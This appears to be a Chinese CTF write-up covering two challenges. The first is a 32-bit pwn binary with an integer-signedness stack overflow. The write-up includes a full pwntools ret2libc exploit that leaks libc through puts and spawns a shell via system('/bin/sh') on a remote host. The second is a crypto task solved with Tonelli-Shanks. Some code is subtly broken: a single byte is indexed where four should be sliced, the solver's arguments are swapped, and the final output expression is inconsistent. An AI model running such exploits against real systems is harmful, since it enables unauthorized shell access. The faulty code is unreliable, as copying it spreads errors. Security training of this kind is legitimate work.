

Pwn

inverse

分析二进制文件，发现是 32 位程序，只开启了 NX 保护，可能可以使用栈溢出。

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    char v4[20]; // [esp+0h] [ebp-28h] BYREF
    int v5; // [esp+14h] [ebp-14h]
    int v6; // [esp+18h] [ebp-10h]
    int v7; // [esp+1Ch] [ebp-Ch]
    int *v8; // [esp+20h] [ebp-8h]

    v8 = &argc;
    init();
    strcpy(v4, "welcome the world!");
    v5 = 0;
    v6 = 0;
    v7 = 0;
    puts(v4);
    printf("input world tag: ");
    __isoc99_scanf("%7s", &tag);
    work();
    return 0;
}

int work()
{
    char buf[48]; // [esp+Ch] [ebp-3Ch] BYREF
    size_t nbytes; // [esp+3Ch] [ebp-Ch]

    nbytes = read_int();
    if ( (int)nbytes > 48 )
        return puts("To large!!!");
    printf("leave me a msg:");
    return read(0, buf, nbytes);
}
```

可以发现，虽然程序限制了 `nbytes` 不能超过 48，但是读取时用的是 `read_int()` 读取 int 类型。可以使用负数将其溢出到一个非常大的整数从而控制 ret 地址。

```
from pwn import *
context(arch='i386', os='linux')

elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')

# io = gdb.debug('./pwn', 'b *0x8049439')
# io = process('./pwn')
io = remote('124.71.135.126', 30023)

io.recvuntil('tag: ')
```

```

io.sendline('0')
io.sendline('-100')
io.recvuntil('msg:')

payload1 = flat([
    'a'*(0x3c+4),
    elf.plt.puts,
    elf.sym.main, elf.got.puts,
])
io.sendline(payload1)

libc.address = u32(io.recvline()[4]) - libc.sym.puts
io.recvuntil('tag: ')
io.sendline('0')
io.sendline('-100')
io.recvuntil('msg:')

payload2 = flat([
    'a'*(0x3c+4),
    libc.sym.system,
    0, next(libc.search(b'/bin/sh')),
])
io.sendline(payload2)

io.interactive()

```

顺便复习一下 32 位程序函数传参：

Stack	
'a'*0x3c	buf[48]
aaaa	ebp
elf.plt.puts	要调用的函数
elf.sym.main	函数返回地址
elf.got.puts	参数1

Crypto

ezrsa

题目只给了一个质数和 `pow()` 加密后的密文。直接上 Tonelli Shanks 暴力求解。

```

from Crypto.Util.number import *
# from secret import flag

p =
412482079973710723630883700852439735510778695041476999618132433355695015420698005
9406402767327725312238673053581148641438494212320157665395208337575556385

```

```

c =
131079395635074597746162041412537474892320633362041739441232632845076043288856800
72478669016969428366667381358004059204207134817952620014738665450753147857
# c = pow(flag, 2, p)

def Legendre(n, p):
    return pow(n, (p - 1) // 2, p)

def Tonelli_Shanks(n, p):
    assert Legendre(n, p) == 1
    if p % 4 == 3:
        return pow(n, (p + 1) // 4, p)
    q = p - 1
    s = 0
    while q % 2 == 0:
        q = q // 2
        s += 1
    for z in range(2, p):
        if Legendre(z, p) == p - 1:
            c = pow(z, q, p)
            break
    r = pow(n, (q + 1) // 2, p)
    t = pow(n, q, p)
    m = s
    if t % p == 1:
        return r
    else:
        i = 0
        while t % p != 1:
            temp = pow(t, 2 ** (i + 1), p)
            i += 1
            if temp % p == 1:
                b = pow(c, 2 ** (m - i - 1), p)
                r = r * b % p
                c = b * b % p
                t = t * c % p
                m = i
                i = 0
        return r

flag = Tonelli_Shanks(p, c)
print(long_to_bytes(c-flag))

```